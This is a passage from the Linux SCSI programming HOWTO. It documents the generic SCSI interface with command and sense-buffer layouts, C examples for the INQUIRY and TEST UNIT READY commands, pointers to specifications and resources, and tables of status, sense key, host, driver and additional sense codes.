+=====-========-========-========-========-========-========-========-========+
|  Bit|   7    |   6    |   5    |   4    |   3    |   2    |   1    |   0    |
|Byte |        |        |        |        |        |        |        |        |
|=====+=======================================================================|
| 0   |                           Operation Code (12h)                        |
|-----+-----------------------------------------------------------------------|
| 1   | Logical Unit Number      |                  Reserved         |  EVPD  |
|-----+-----------------------------------------------------------------------|
| 2   |                           Page Code                                   |
|-----+-----------------------------------------------------------------------|
| 3   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 4   |                           Allocation Length                           |
|-----+-----------------------------------------------------------------------|
| 5   |                           Control                                     |
+=============================================================================+

The output data are as follows:

                     Table 45: Standard INQUIRY Data Format
+=====-========-========-========-========-========-========-========-========+
|  Bit|   7    |   6    |   5    |   4    |   3    |   2    |   1    |   0    |
|Byte |        |        |        |        |        |        |        |        |
|=====+==========================+============================================|
| 0   | Peripheral Qualifier     |           Peripheral Device Type           |
|-----+-----------------------------------------------------------------------|
| 1   |  RMB   |                  Device-Type Modifier                        |
|-----+-----------------------------------------------------------------------|
| 2   |   ISO Version   |       ECMA Version       |  ANSI-Approved Version   |
|-----+-----------------+-----------------------------------------------------|
| 3   |  AENC  | TrmIOP |     Reserved    |         Response Data Format      |
|-----+-----------------------------------------------------------------------|
| 4   |                           Additional Length (n-4)                     |
|-----+-----------------------------------------------------------------------|
| 5   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 6   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 7   | RelAdr | WBus32 | WBus16 |  Sync  | Linked |Reserved| CmdQue | SftRe  |
|-----+-----------------------------------------------------------------------|
| 8   | (MSB)                                                                 |
|- - -+---                        Vendor Identification                    ---|
| 15  |                                                                 (LSB) |
|-----+-----------------------------------------------------------------------|
| 16  | (MSB)                                                                 |
|- - -+---                        Product Identification                   ---|
| 31  |                                                                 (LSB) |
|-----+-----------------------------------------------------------------------|
| 32  | (MSB)                                                                 |
|- - -+---                        Product Revision Level                   ---|
| 35  |                                                                 (LSB) |
|-----+-----------------------------------------------------------------------|
| 36  |                                                                       |
|- - -+---                        Vendor Specific                          ---|
| 55  |                                                                       |
|-----+-----------------------------------------------------------------------|
| 56  |                                                                       |
|- - -+---                        Reserved                                 ---|
| 95  |                                                                       |
|=====+=======================================================================|
|     |                       Vendor-Specific Parameters                      |
|=====+=======================================================================|
| 96  |                                                                       |
|- - -+---                        Vendor Specific                          ---|
| n   |                                                                       |
+=============================================================================+

The next example uses the low-level function handle_SCSI_cmd to perform the Inquiry SCSI command.

We first append the command block to the generic header, then call handle_SCSI_cmd. Note that the output buffer size argument for the handle_SCSI_cmd call excludes the generic header size. After command completion the output buffer contains the requested data, unless an error occurred.

#define INQUIRY_CMD     0x12
#define INQUIRY_CMDLEN  6
#define INQUIRY_REPLY_LEN 96
#define INQUIRY_VENDOR  8       /* Offset in reply data to vendor name */

/* request vendor brand and model */
static unsigned char *Inquiry ( void )
{
  unsigned char Inqbuffer[ SCSI_OFF + INQUIRY_REPLY_LEN ];
  unsigned char cmdblk [ INQUIRY_CMDLEN ] =
      { INQUIRY_CMD,  /* command */
                  0,  /* lun/reserved */
                  0,  /* page code */
                  0,  /* reserved */
  INQUIRY_REPLY_LEN,  /* allocation length */
                  0 };/* reserved/flag/link */

  memcpy( cmd + SCSI_OFF, cmdblk, sizeof(cmdblk) );

  /*
   * +------------------+
   * | struct sg_header | <- cmd
   * +------------------+
   * | copy of cmdblk   | <- cmd + SCSI_OFF
   * +------------------+
   */

  if (handle_SCSI_cmd(sizeof(cmdblk), 0, cmd,
                      sizeof(Inqbuffer) - SCSI_OFF, Inqbuffer )) {
      fprintf( stderr, "Inquiry failed\n" );
      exit(2);
  }
  return (Inqbuffer + SCSI_OFF);
}

The example above follows this structure. The Inquiry function copies its command block behind the generic header (given by SCSI_OFF). Input data is not present for this command. Handle_SCSI_cmd will define the header structure. We can now implement the function main to complete this working example program.

void main( void )
{
  fd = open(DEVICE, O_RDWR);
  if (fd < 0) {
    fprintf( stderr, "Need read/write permissions for "DEVICE".\n" );
    exit(1);
  }

  /* print some fields of the Inquiry result */
  printf( "%s\n", Inquiry() + INQUIRY_VENDOR );
}

We first open the device, check for errors, and then call the higher level subroutine. Then we print the results in human readable format including the vendor, product, and revision.

Note: There is more information in the Inquiry result than this little program gives. You may want to extend the program to give device type, ANSI version etc. The device type is of special importance, since it determines the mandatory and optional command sets for this device. If you don't want to program it yourself, you may want to use the scsiinfo program from Eric Youngdale, which requests nearly all information about an SCSI device. Look at tsx-11.mit.edu in pub/Linux/ALPHA/scsi.


The Linux SCSI programming HOWTO: The Sense Buffer

 Next Previous Contents

10. The Sense Buffer

Commands with no output data can give status information via the sense buffer (which is part of the header structure). Sense data is available when the previous command has terminated with a CHECK CONDITION status. In this case the kernel automatically retrieves the sense data via a REQUEST SENSE command. Its structure is:

+=====-========-========-========-========-========-========-========-========+
|  Bit|   7    |   6    |   5    |   4    |   3    |   2    |   1    |   0    |
|Byte |        |        |        |        |        |        |        |        |
|=====+========+==============================================================|
| 0   | Valid  |                  Error Code (70h or 71h)                     |
|-----+-----------------------------------------------------------------------|
| 1   |                           Segment Number                              |
|-----+-----------------------------------------------------------------------|
| 2   |Filemark|  EOM   |  ILI   |Reserved|         Sense Key                 |
|-----+-----------------------------------------------------------------------|
| 3   | (MSB)                                                                 |
|- - -+---                        Information                              ---|
| 6   |                                                                 (LSB) |
|-----+-----------------------------------------------------------------------|
| 7   |                           Additional Sense Length (n-7)               |
|-----+-----------------------------------------------------------------------|
| 8   | (MSB)                                                                 |
|- - -+---                        Command-Specific Information             ---|
| 11  |                                                                 (LSB) |
|-----+-----------------------------------------------------------------------|
| 12  |                           Additional Sense Code                       |
|-----+-----------------------------------------------------------------------|
| 13  |                           Additional Sense Code Qualifier             |
|-----+-----------------------------------------------------------------------|
| 14  |                           Field Replaceable Unit Code                 |
|-----+-----------------------------------------------------------------------|
| 15  |  SKSV  |                                                              |
|- - -+------------               Sense-Key Specific                       ---|
| 17  |                                                                       |
|-----+-----------------------------------------------------------------------|
| 18  |                                                                       |
|- - -+---                        Additional Sense Bytes                   ---|
| n   |                                                                       |
+=============================================================================+

Note: The most useful fields are Sense Key (see section sec-sensekeys ), Additional Sense Code and Additional Sense Code Qualifier (see section sec-sensecodes ). The latter two are used combined as a pair.


The Linux SCSI programming HOWTO: Example Using Sense Buffer

 Next Previous Contents

11. Example Using Sense Buffer

Here we will use the TEST UNIT READY command to check whether media is loaded into our device. The header declarations and function handle_SCSI_cmd from the inquiry example will be needed as well.

                        Table 73: TEST UNIT READY Command
+=====-========-========-========-========-========-========-========-========+
|  Bit|   7    |   6    |   5    |   4    |   3    |   2    |   1    |   0    |
|Byte |        |        |        |        |        |        |        |        |
|=====+=======================================================================|
| 0   |                           Operation Code (00h)                        |
|-----+-----------------------------------------------------------------------|
| 1   | Logical Unit Number      |                  Reserved                  |
|-----+-----------------------------------------------------------------------|
| 2   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 3   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 4   |                           Reserved                                    |
|-----+-----------------------------------------------------------------------|
| 5   |                           Control                                     |
+=============================================================================+

Here is the function which implements it:

#define TESTUNITREADY_CMD 0
#define TESTUNITREADY_CMDLEN 6

#define ADD_SENSECODE 12
#define ADD_SC_QUALIFIER 13
#define NO_MEDIA_SC 0x3a
#define NO_MEDIA_SCQ 0x00

int TestForMedium ( void )
{
  /* request READY status */
  static unsigned char cmdblk [TESTUNITREADY_CMDLEN] = {
      TESTUNITREADY_CMD, /* command */
                      0, /* lun/reserved */
                      0, /* reserved */
                      0, /* reserved */
                      0, /* reserved */
                      0};/* control */

  memcpy( cmd + SCSI_OFF, cmdblk, sizeof(cmdblk) );

  /*
   * +------------------+
   * | struct sg_header | <- cmd
   * +------------------+
   * | copy of cmdblk   | <- cmd + SCSI_OFF
   * +------------------+
   */

  if (handle_SCSI_cmd(sizeof(cmdblk), 0, cmd,
                            0, NULL)) {
      fprintf (stderr, "Test unit ready failed\n");
      exit(2);
  }

  return
   *(((struct sg_header*)cmd)->sense_buffer +ADD_SENSECODE) !=
                                                        NO_MEDIA_SC ||
   *(((struct sg_header*)cmd)->sense_buffer +ADD_SC_QUALIFIER) !=
                                                        NO_MEDIA_SCQ;
}

Combined with this main function we can do the check.

void main( void )
{
  fd = open(DEVICE, O_RDWR);
  if (fd < 0) {
    fprintf( stderr, "Need read/write permissions for "DEVICE".\n" );
    exit(1);
  }

  /* look if medium is loaded */

  if (!TestForMedium()) {
    printf("device is unloaded\n");
  } else {
    printf("device is loaded\n");
  }
}

The file generic_demo.c from the appendix contains both examples.


The Linux SCSI programming HOWTO: Ioctl Functions

 Next Previous Contents

12. Ioctl Functions

There are two ioctl functions available:

  • ioctl(fd, SG_SET_TIMEOUT, &Timeout); sets the timeout value to Timeout * 10 milliseconds. Timeout has to be declared as int.
  • ioctl(fd, SG_GET_TIMEOUT, &Timeout); gets the current timeout value. Timeout has to be declared as int.


The Linux SCSI programming HOWTO: Driver Defaults

 Next Previous Contents

13. Driver Defaults

13.1 Transfer Lengths

Currently (at least up to kernel version 1.1.68) input and output sizes have to be less than or equal than 4096 bytes unless the kernel has been compiled with SG_BIG_BUFF defined, if which case it is limited to SG_BIG_BUFF (e.g. 32768) bytes. These sizes include the generic header as well as the command block on input. SG_BIG_BUFF can be safely increased upto (131072 - 512). To take advantage of this, a new kernel has to be compiled and booted, of course.

13.2 Timeout And Retry Values

The default timeout value is set to one minute (Timeout = 6000). It can be changed through an ioctl call (see section sec-ioctl ). The default number of retries is one.


The Linux SCSI programming HOWTO: Obtaining The Scsi Specifications

 Next Previous Contents

14. Obtaining The Scsi Specifications

There are standards entitled SCSI-1 and SCSI-2 (and possibly soon SCSI-3). The standards are mostly upward compatible.

The SCSI-1 standard is (in the author's opinion) mostly obsolete, and SCSI-2 is the most widely used. SCSI-3 is very new and very expensive. These standardized command sets specify mandatory and optional commands for SCSI manufacturers and should be preferred over the vendor specific command extensions which are not standardized and for which programming information is seldom available. Of course sometimes there is no alternative to these extensions.

Electronic copies of the latest drafts are available via anonymous ftp from:

  • ftp.cs.tulane.edu:pub/scsi
  • ftp.symbios.com:/pub/standards
  • ftp.cs.uni-sb.de:/pub/misc/doc/scsi

(I got my SCSI specification from the Yggdrasil Linux CD-ROM in the directory /usr/doc/scsi-2 and /usr/doc/scsi-1).

The SCSI FAQ also lists the following sources of printed information:

The SCSI specification: Available from:

      Global Engineering Documents
      15 Inverness Way East
      Englewood Co  80112-5704
      (800) 854-7179
        SCSI-1: X3.131-1986
        SCSI-2: X3.131-199x
        SCSI-3 X3T9.2/91-010R4 Working Draft

(Global Engineering Documentation in Irvine, CA (714)261-1455??)

SCSI-1: Doc \# X3.131-1986 from ANSI, 1430 Broadway, NY, NY 10018

IN-DEPTH EXPLORATION OF SCSI can be obtained from
Solution Technology, Attn: SCSI Publications, POB 104, Boulder Creek,
CA 95006, (408)338-4285, FAX (408)338-4374

THE SCSI ENCYLOPEDIA and the SCSI BENCH REFERENCE can be obtained from
ENDL Publishing, 14426 Black Walnut Ct., Saratoga, CA 95090,
(408)867-6642, FAX (408)867-2115

SCSI: UNDERSTANDING THE SMALL COMPUTER SYSTEM INTERFACE was published
by Prentice-Hall, ISBN 0-13-796855-8


The Linux SCSI programming HOWTO: Related Information Sources

 Next Previous Contents

15. Related Information Sources

15.1 HOWTOs and FAQs

The Linux SCSI-HOWTO by Drew Eckhardt covers all supported SCSI controllers as well as device specific questions. A lot of troubleshooting hints are given. It is available from sunsite.unc.edu in /pub/Linux/docs/LDP and its mirror sites.

General questions about SCSI are answered in the SCSI-FAQ from the newsgroup Comp.Periphs.Scsi (available on tsx-11 in pub/linux/ALPHA/scsi and mirror sites).

15.2 Mailing list

There is a mailing list for bug reports and questions regarding SCSI development under Linux. To join, send email to majordomo@vger.rutgers.edu with the line subscribe linux-scsi in the body of the message. Messages should be posted to linux-scsi@vger.rutgers.edu. Help text can be requested by sending the message line "help" to majordomo@vger.rutgers.edu.

15.3 Example code

sunsite.unc.edu: apps/graphics/hpscanpbm-0.3a.tar.gz

This package handles a HP scanjet scanner through the generic interface.

tsx-11.mit.edu: BETA/cdrom/private/mkisofs/cdwrite-1.3.tar.gz

The cdwrite package uses the generic interface to write a cd image to a cd writer.

sunsite.unc.edu: apps/sound/cds/cdda2wav*.src.tar.gz

A shameless plug for my own application, which copies audio cd tracks into wav files.


The Linux SCSI programming HOWTO: Other useful stuff

 Next Previous Contents

16. Other useful stuff

Things that may come in handy. I don't have no idea if there are newer or better versions around. Feedback is welcome.

16.1 Device driver writer helpers

These documents can be found at the sunsite.unc.edu ftp server and its mirrors.

/pub/Linux/docs/kernel/kernel-hackers-guide

The LDP kernel hackers guide. May be a bit outdated, but covers the most fundamental things.

/pub/Linux/docs/kernel/drivers.doc.z

This document covers writing character drivers.

/pub/Linux/docs/kernel/tutorial.doc.z

Tutorial on writing a character device driver with code.

/pub/Linux/docs/kernel/scsi.paper.tar.gz

A Latex document describing howto write a SCSI driver.

/pub/Linux/docs/hardware/DEVICES

A list of device majors and minors used by Linux.

16.2 Utilities

tsx-11.mit.edu: ALPHA/scsi/scsiinfo*.tar.gz

Program to query a scsi device for operating parameters, defect lists, etc. An X-based interface is available which requires you have Tk/Tcl/wish installed. With the X-based interface you can easily alter the settings on the drive.

tsx-11.mit.edu: ALPHA/kdebug

A gdb extension for kernel debugging.


The Linux SCSI programming HOWTO: Other SCSI Access Interfaces

 Next Previous Contents

17. Other SCSI Access Interfaces

In Linux there is also another SCSI access method via SCSI_IOCTL_SEND_COMMAND ioctl calls, which is deprecated. Special tools like 'scsiinfo' utilize it.

There are some other similar interfaces in use in the un*x world, but not available for Linux:

  1. CAM (Common Access Method) developed by Future Domain and other SCSI vendors. Linux has little support for a SCSI CAM system yet (mainly for booting from hard disk). CAM even supports target mode, so one could disguise ones computer as a peripheral hardware device (e.g. for a small SCSI net).
  2. ASPI (Advanced SCSI Programming Interface) developed by Adaptec. This is the de facto standard for MS-DOS machines.

There are other application interfaces from SCO(TM), NeXT(TM), Silicon Graphics(TM) and SUN(TM) as well.


The Linux SCSI programming HOWTO: Final Comments

 Next Previous Contents

18. Final Comments

The generic SCSI interface bridges the gap between user applications and specific devices. But rather than bloating a lot of programs with similar sets of low-level functions, it would be more desirable to have a shared library with a generalized set of low-level functions for a particular purpose. The main goal should be to have independent layers of interfaces. A good design would separate an application into low-level and hardware independent routines. The low-level routines could be put into a shared library and made available for all applications. Here, standardized interfaces should be followed as much as possible before making new ones.

By now you should know more than I do about the Linux generic SCSI interface. So you can start developing powerful applications for the benefit of the global Linux community now...


The Linux SCSI programming HOWTO: Acknowledgments

 Next Previous Contents

19. Acknowledgments

Special thanks go to Jeff Tranter for proofreading and enhancing the text considerably as well as to Carlos Puchol for useful comments. Drew Eckhardt's and Eric Youngdale's help on my first (dumb) questions about the use of this interface has been appreciated.


The Linux SCSI programming HOWTO: Appendix

 Next Previous Contents

20. Appendix


The Linux SCSI programming HOWTO: Error handling

 Next Previous Contents

21. Error handling

The functions open, ioctl, write and read can report errors. In this case their return value is -1 and the global variable errno is set to the error number. The errno values are defined in /usr/include/errno.h. Possible values are:

Function | Error        | Description
=========|==============|=============================================
open     | ENXIO        | not a valid device
         | EACCES       | access mode is not read/write (O_RDWR)
         | EBUSY        | device was requested for nonblocking access,
         |              | but is busy now.
         | ERESTARTSYS  | this indicates an internal error. Try to
         |              | make it reproducible and inform the SCSI
         |              | channel (for details on bug reporting
         |              | see Drew Eckhardts SCSI-HOWTO).
ioctl    | ENXIO        | not a valid device
read     | EAGAIN       | the device would block. Try again later.
         | ERESTARTSYS  | this indicates an internal error. Try to
         |              | make it reproducible and inform the SCSI
         |              | channel (for details on bug reporting
         |              | see Drew Eckhardts SCSI-HOWTO).
write    | EIO          | the length is too small (smaller than the
         |              | generic header struct). Caution: Currently
         |              | there is no overlength checking.
         | EAGAIN       | the device would block. Try again later.
         | ENOMEM       | memory required for this request could not be
         |              | allocated. Try later again unless you
         |              | exceeded the maximum transfer size (see above)
select   |              | none
close    |              | none

For read/write positive return values indicate as usual the amount of bytes that have been successfully transferred. This should equal the amount you requested.

21.1 Error status decoding

Furthermore a detailed reporting is done via the kernels hd_status and the devices sense_buffer (see section sec-sensebuff ) both from the generic header structure.

The meaning of hd_status can be found in drivers/scsi/scsi.h: This unsigned int is composed out of different parts:

  lsb  |    ...    |    ...    | msb
=======|===========|===========|============
status | sense key | host code | driver byte

These macros from drivers/scsi/scsi.h are available, but unfortunately cannot be easily used due to weird header file interdependencies. This has to be cleaned.

        Macro          | Description
=======================|=================================================
status_byte(hd_status) | The SCSI device status. See section Status codes
msg_byte(hd_status)    | From the device. See section SCSI sense keys
host_byte(hd_status)   | From the kernel. See section Hostcodes
driver_byte(hd_status) | From the kernel. See section midlevel codes

21.2 Status codes

The following status codes from the SCSI device (defined in scsi/scsi.h) are available.

Value | Symbol
======|=====================
0x00  | GOOD
0x01  | CHECK_CONDITION
0x02  | CONDITION_GOOD
0x04  | BUSY
0x08  | INTERMEDIATE_GOOD
0x0a  | INTERMEDIATE_C_GOOD
0x0c  | RESERVATION_CONFLICT

Note that these symbol values have been shifted right once. When the status is CHECK_CONDITION, the sense data in the sense buffer is valid (check especially the additional sense code and additional sense code qualifier).

These values carry the meaning from the SCSI-2 specification:

                           Table 27: Status Byte Code
+=================================-==============================+
|       Bits of Status Byte       |  Status                      |
|  7   6   5   4   3   2   1   0  |                              |
|---------------------------------+------------------------------|
|  R   R   0   0   0   0   0   R  |  GOOD                        |
|  R   R   0   0   0   0   1   R  |  CHECK CONDITION             |
|  R   R   0   0   0   1   0   R  |  CONDITION MET               |
|  R   R   0   0   1   0   0   R  |  BUSY                        |
|  R   R   0   1   0   0   0   R  |  INTERMEDIATE                |
|  R   R   0   1   0   1   0   R  |  INTERMEDIATE-CONDITION MET  |
|  R   R   0   1   1   0   0   R  |  RESERVATION CONFLICT        |
|  R   R   1   0   0   0   1   R  |  COMMAND TERMINATED          |
|  R   R   1   0   1   0   0   R  |  QUEUE FULL                  |
|                                 |                              |
|       All Other Codes           |  Reserved                    |
|----------------------------------------------------------------|
|  Key: R = Reserved bit                                         |
+================================================================+

A definition of the status byte codes is given below.

GOOD.  This status indicates that the target has successfully completed the
command.

CHECK CONDITION.  This status indicates that a contingent allegiance condition
has occurred (see 6.6).

CONDITION MET.  This status or INTERMEDIATE-CONDITION MET is returned whenever
the requested operation is satisfied (see the SEARCH DATA and PRE-FETCH
commands).

BUSY.  This status indicates that the target is busy.  This status shall be
returned whenever a target is unable to accept a command from an otherwise
acceptable initiator (i.e., no reservation conflicts).  The recommended
initiator recovery action is to issue the command again at a later time.

INTERMEDIATE.  This status or INTERMEDIATE-CONDITION MET shall be returned for
every successfully completed command in a series of linked commands (except
the last command), unless the command is terminated with CHECK CONDITION,
RESERVATION CONFLICT, or COMMAND TERMINATED status.  If INTERMEDIATE or
INTERMEDIATE-CONDITION MET status is not returned, the series of linked
commands is terminated and the I/O process is ended.

INTERMEDIATE-CONDITION MET.  This status is the combination of the CONDITION
MET and INTERMEDIATE statuses.

RESERVATION CONFLICT.  This status shall be returned whenever an initiator
attempts to access a logical unit or an extent within a logical unit that is
reserved with a conflicting reservation type for another SCSI device (see the
RESERVE and RESERVE UNIT commands).  The recommended initiator recovery action
is to issue the command again at a later time.

COMMAND TERMINATED.  This status shall be returned whenever the target
terminates the current I/O process after receiving a TERMINATE I/O PROCESS
message (see 5.6.22).  This status also indicates that a contingent allegiance
condition has occurred (see 6.6).

QUEUE FULL.  This status shall be implemented if tagged queuing is
implemented.  This status is returned when a SIMPLE QUEUE TAG, ORDERED QUEUE
TAG, or HEAD OF QUEUE TAG message is received and the command queue is full.
The I/O process is not placed in the command queue.

21.3 SCSI Sense Keys

These kernel symbols (from scsi/scsi.h) are predefined:

Value | Symbol
======|================
0x00  | NO_SENSE
0x01  | RECOVERED_ERROR
0x02  | NOT_READY
0x03  | MEDIUM_ERROR
0x04  | HARDWARE_ERROR
0x05  | ILLEGAL_REQUEST
0x06  | UNIT_ATTENTION
0x07  | DATA_PROTECT
0x08  | BLANK_CHECK
0x0a  | COPY_ABORTED
0x0b  | ABORTED_COMMAND
0x0d  | VOLUME_OVERFLOW
0x0e  | MISCOMPARE

A verbatim list from the SCSI-2 doc follows (from section 7.2.14.3):

                    Table 69: Sense Key (0h-7h) Descriptions
+========-====================================================================+
| Sense  |  Description                                                       |
|  Key   |                                                                    |
|--------+--------------------------------------------------------------------|
|   0h   |  NO SENSE.  Indicates that there is no specific sense key          |
|        |  information to be reported for the designated logical unit.  This |
|        |  would be the case for a successful command or a command that      |
|        |  received CHECK CONDITION or COMMAND TERMINATED status because one |
|        |  of the filemark, EOM, or ILI bits is set to one.                  |
|--------+--------------------------------------------------------------------|
|   1h   |  RECOVERED ERROR.  Indicates that the last command completed       |
|        |  successfully with some recovery action performed by the target.   |
|        |  Details may be determinable by examining the additional sense     |
|        |  bytes and the information field.  When multiple recovered errors  |
|        |  occur during one command, the choice of which error to report     |
|        |  (first, last, most severe, etc.) is device specific.              |
|--------+--------------------------------------------------------------------|
|   2h   |  NOT READY.  Indicates that the logical unit addressed cannot be   |
|        |  accessed.  Operator intervention may be required to correct this  |
|        |  condition.                                                        |
|--------+--------------------------------------------------------------------|
|   3h   |  MEDIUM ERROR.  Indicates that the command terminated with a non-  |
|        |  recovered error condition that was probably caused by a flaw in   |
|        |  the medium or an error in the recorded data.  This sense key may  |
|        |  also be returned if the target is unable to distinguish between a |
|        |  flaw in the medium and a specific hardware failure (sense key 4h).|
|--------+--------------------------------------------------------------------|
|   4h   |  HARDWARE ERROR.  Indicates that the target detected a non-        |
|        |  recoverable hardware failure (for example, controller failure,    |
|        |  device failure, parity error, etc.) while performing the command  |
|        |  or during a self test.                                            |
|--------+--------------------------------------------------------------------|
|   5h   |  ILLEGAL REQUEST.  Indicates that there was an illegal parameter in|
|        |  the command descriptor block or in the additional parameters      |
|        |  supplied as data for some commands (FORMAT UNIT, SEARCH DATA,     |
|        |  etc.).  If the target detects an invalid parameter in the command |
|        |  descriptor block, then it shall terminate the command without     |
|        |  altering the medium.  If the target detects an invalid parameter  |
|        |  in the additional parameters supplied as data, then the target may|
|        |  have already altered the medium.  This sense key may also indicate|
|        |  that an invalid IDENTIFY message was received (5.6.7).            |
|--------+--------------------------------------------------------------------|
|   6h   |  UNIT ATTENTION.  Indicates that the removable medium may have been|
|        |  changed or the target has been reset.  See 6.9 for more detailed  |
|        |  information about the unit attention condition.                   |
|--------+--------------------------------------------------------------------|
|   7h   |  DATA PROTECT.  Indicates that a command that reads or writes the  |
|        |  medium was attempted on a block that is protected from this       |
|        |  operation.  The read or write operation is not performed.         |
+=============================================================================+

                    Table 70: Sense Key (8h-Fh) Descriptions
+========-====================================================================+
| Sense  |  Description                                                       |
|  Key   |                                                                    |
|--------+--------------------------------------------------------------------|
|   8h   |  BLANK CHECK.  Indicates that a write-once device or a sequential- |
|        |  access device encountered blank medium or format-defined end-of-  |
|        |  data indication while reading or a write-once device encountered a|
|        |  non-blank medium while writing.                                   |
|--------+--------------------------------------------------------------------|
|   9h   |  Vendor Specific.  This sense key is available for reporting vendor|
|        |  specific conditions.                                              |
|--------+--------------------------------------------------------------------|
|   Ah   |  COPY ABORTED.  Indicates a COPY, COMPARE, or COPY AND VERIFY      |
|        |  command was aborted due to an error condition on the source       |
|        |  device, the destination device, or both.  (See 7.2.3.2 for        |
|        |  additional information about this sense key.)                     |
|--------+--------------------------------------------------------------------|
|   Bh   |  ABORTED COMMAND.  Indicates that the target aborted the command.  |
|        |  The initiator may be able to recover by trying the command again. |
|--------+--------------------------------------------------------------------|
|   Ch   |  EQUAL.  Indicates a SEARCH DATA command has satisfied an equal    |
|        |  comparison.                                                       |
|--------+--------------------------------------------------------------------|
|   Dh   |  VOLUME OVERFLOW.  Indicates that a buffered peripheral device has |
|        |  reached the end-of-partition and data may remain in the buffer    |
|        |  that has not been written to the medium.  A RECOVER BUFFERED DATA |
|        |  command(s) may be issued to read the unwritten data from the      |
|        |  buffer.                                                           |
|--------+--------------------------------------------------------------------|
|   Eh   |  MISCOMPARE.  Indicates that the source data did not match the data|
|        |  read from the medium.                                             |
|--------+--------------------------------------------------------------------|
|   Fh   |  RESERVED.                                                         |
+=============================================================================+

21.4 Host codes

The following host codes are defined in drivers/scsi/scsi.h. They are set by the kernel driver.

Value | Symbol         | Description
======|================|========================================
0x00  | DID_OK         | No error
0x01  | DID_NO_CONNECT | Couldn't connect before timeout period
0x02  | DID_BUS_BUSY   | BUS stayed busy through time out period
0x03  | DID_TIME_OUT   | TIMED OUT for other reason
0x04  | DID_BAD_TARGET | BAD target
0x05  | DID_ABORT      | Told to abort for some other reason
0x06  | DID_PARITY     | Parity error
0x07  | DID_ERROR      | internal error
0x08  | DID_RESET      | Reset by somebody
0x09  | DID_BAD_INTR   | Got an interrupt we weren't expecting

21.5 Driver codes

The midlevel driver categorizes the returned status from the lowlevel driver based on the sense key from the device. It suggests some actions to be taken such as retry, abort or remap. The routine scsi_done from scsi.c does a very differentiated handling based on host_byte(), status_byte(), msg_byte() and the suggestion. It then sets the driver byte to show what it has done. The driver byte is composed out of two nibbles: the driver status and the suggestion. Each half is composed from the below values being 'or'ed together (found in scsi.h).

Value | Symbol         | Description of Driver status
======|================|========================================
0x00  | DRIVER_OK      | No error
0x01  | DRIVER_BUSY    | not used
0x02  | DRIVER_SOFT    | not used
0x03  | DRIVER_MEDIA   | not used
0x04  | DRIVER_ERROR   | internal driver error
0x05  | DRIVER_INVALID | finished (DID_BAD_TARGET or DID_ABORT)
0x06  | DRIVER_TIMEOUT | finished with timeout
0x07  | DRIVER_HARD    | finished with fatal error
0x08  | DRIVER_SENSE   | had sense information available

Value | Symbol         | Description of suggestion
======|================|========================================
0x10  | SUGGEST_RETRY  | retry the SCSI request
0x20  | SUGGEST_ABORT  | abort the request
0x30  | SUGGEST_REMAP  | remap the block (not yet implemented)
0x40  | SUGGEST_DIE    | let the kernel panic
0x80  | SUGGEST_SENSE  | get sense information from the device
0xff  | SUGGEST_IS_OK  | nothing to be done


The Linux SCSI programming HOWTO: Additional sense codes and additional sense code qualifiers

 Next Previous Contents

22. Additional sense codes and additional sense code qualifiers

When the status of the executed SCSI command is CHECK_CONDITION, sense data is available in the sense buffer. The additional sense code and additional sense code qualifier are contained in that buffer.

From the SCSI-2 specification I include two tables. The first is in lexical, the second in numerical order.

22.1 ASC and ASCQ in lexical order

The following table list gives a list of descriptions and device types they apply to.

+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
| 13h  00h  D   W  O    ADDRESS MARK NOT FOUND FOR DATA FIELD                 |
| 12h  00h  D   W  O    ADDRESS MARK NOT FOUND FOR ID FIELD                   |
| 00h  11h       R      AUDIO PLAY OPERATION IN PROGRESS                      |
| 00h  12h       R      AUDIO PLAY OPERATION PAUSED                           |
| 00h  14h       R      AUDIO PLAY OPERATION STOPPED DUE TO ERROR             |
| 00h  13h       R      AUDIO PLAY OPERATION SUCCESSFULLY COMPLETED           |
| 00h  04h   T    S     BEGINNING-OF-PARTITION/MEDIUM DETECTED                |
| 14h  04h   T          BLOCK SEQUENCE ERROR                                  |
| 30h  02h  DT  WR O    CANNOT READ MEDIUM - INCOMPATIBLE FORMAT              |
| 30h  01h  DT  WR O    CANNOT READ MEDIUM - UNKNOWN FORMAT                   |
| 52h  00h   T          CARTRIDGE FAULT                                       |
| 3Fh  02h  DTLPWRSOMC  CHANGED OPERATING DEFINITION                          |
| 11h  06h      WR O    CIRC UNRECOVERED ERROR                                |
| 30h  03h  DT          CLEANING CARTRIDGE INSTALLED                          |
| 4Ah  00h  DTLPWRSOMC  COMMAND PHASE ERROR                                   |
| 2Ch  00h  DTLPWRSOMC  COMMAND SEQUENCE ERROR                                |
| 2Fh  00h  DTLPWRSOMC  COMMANDS CLEARED BY ANOTHER INITIATOR                 |
| 2Bh  00h  DTLPWRSO C  COPY CANNOT EXECUTE SINCE HOST CANNOT DISCONNECT      |
| 41h  00h  D           DATA PATH FAILURE (SHOULD USE 40 NN)                  |
| 4Bh  00h  DTLPWRSOMC  DATA PHASE ERROR                                      |
| 11h  07h      W  O    DATA RESYCHRONIZATION ERROR                           |
| 16h  00h  D   W  O    DATA SYNCHRONIZATION MARK ERROR                       |
| 19h  00h  D      O    DEFECT LIST ERROR                                     |
| 19h  03h  D      O    DEFECT LIST ERROR IN GROWN LIST                       |
| 19h  02h  D      O    DEFECT LIST ERROR IN PRIMARY LIST                     |
| 19h  01h  D      O    DEFECT LIST NOT AVAILABLE                             |
| 1Ch  00h  D      O    DEFECT LIST NOT FOUND                                 |
| 32h  01h  D   W  O    DEFECT LIST UPDATE FAILURE                            |
| 40h  NNh  DTLPWRSOMC  DIAGNOSTIC FAILURE ON COMPONENT NN (80H-FFH)          |
| 63h  00h       R      END OF USER AREA ENCOUNTERED ON THIS TRACK            |
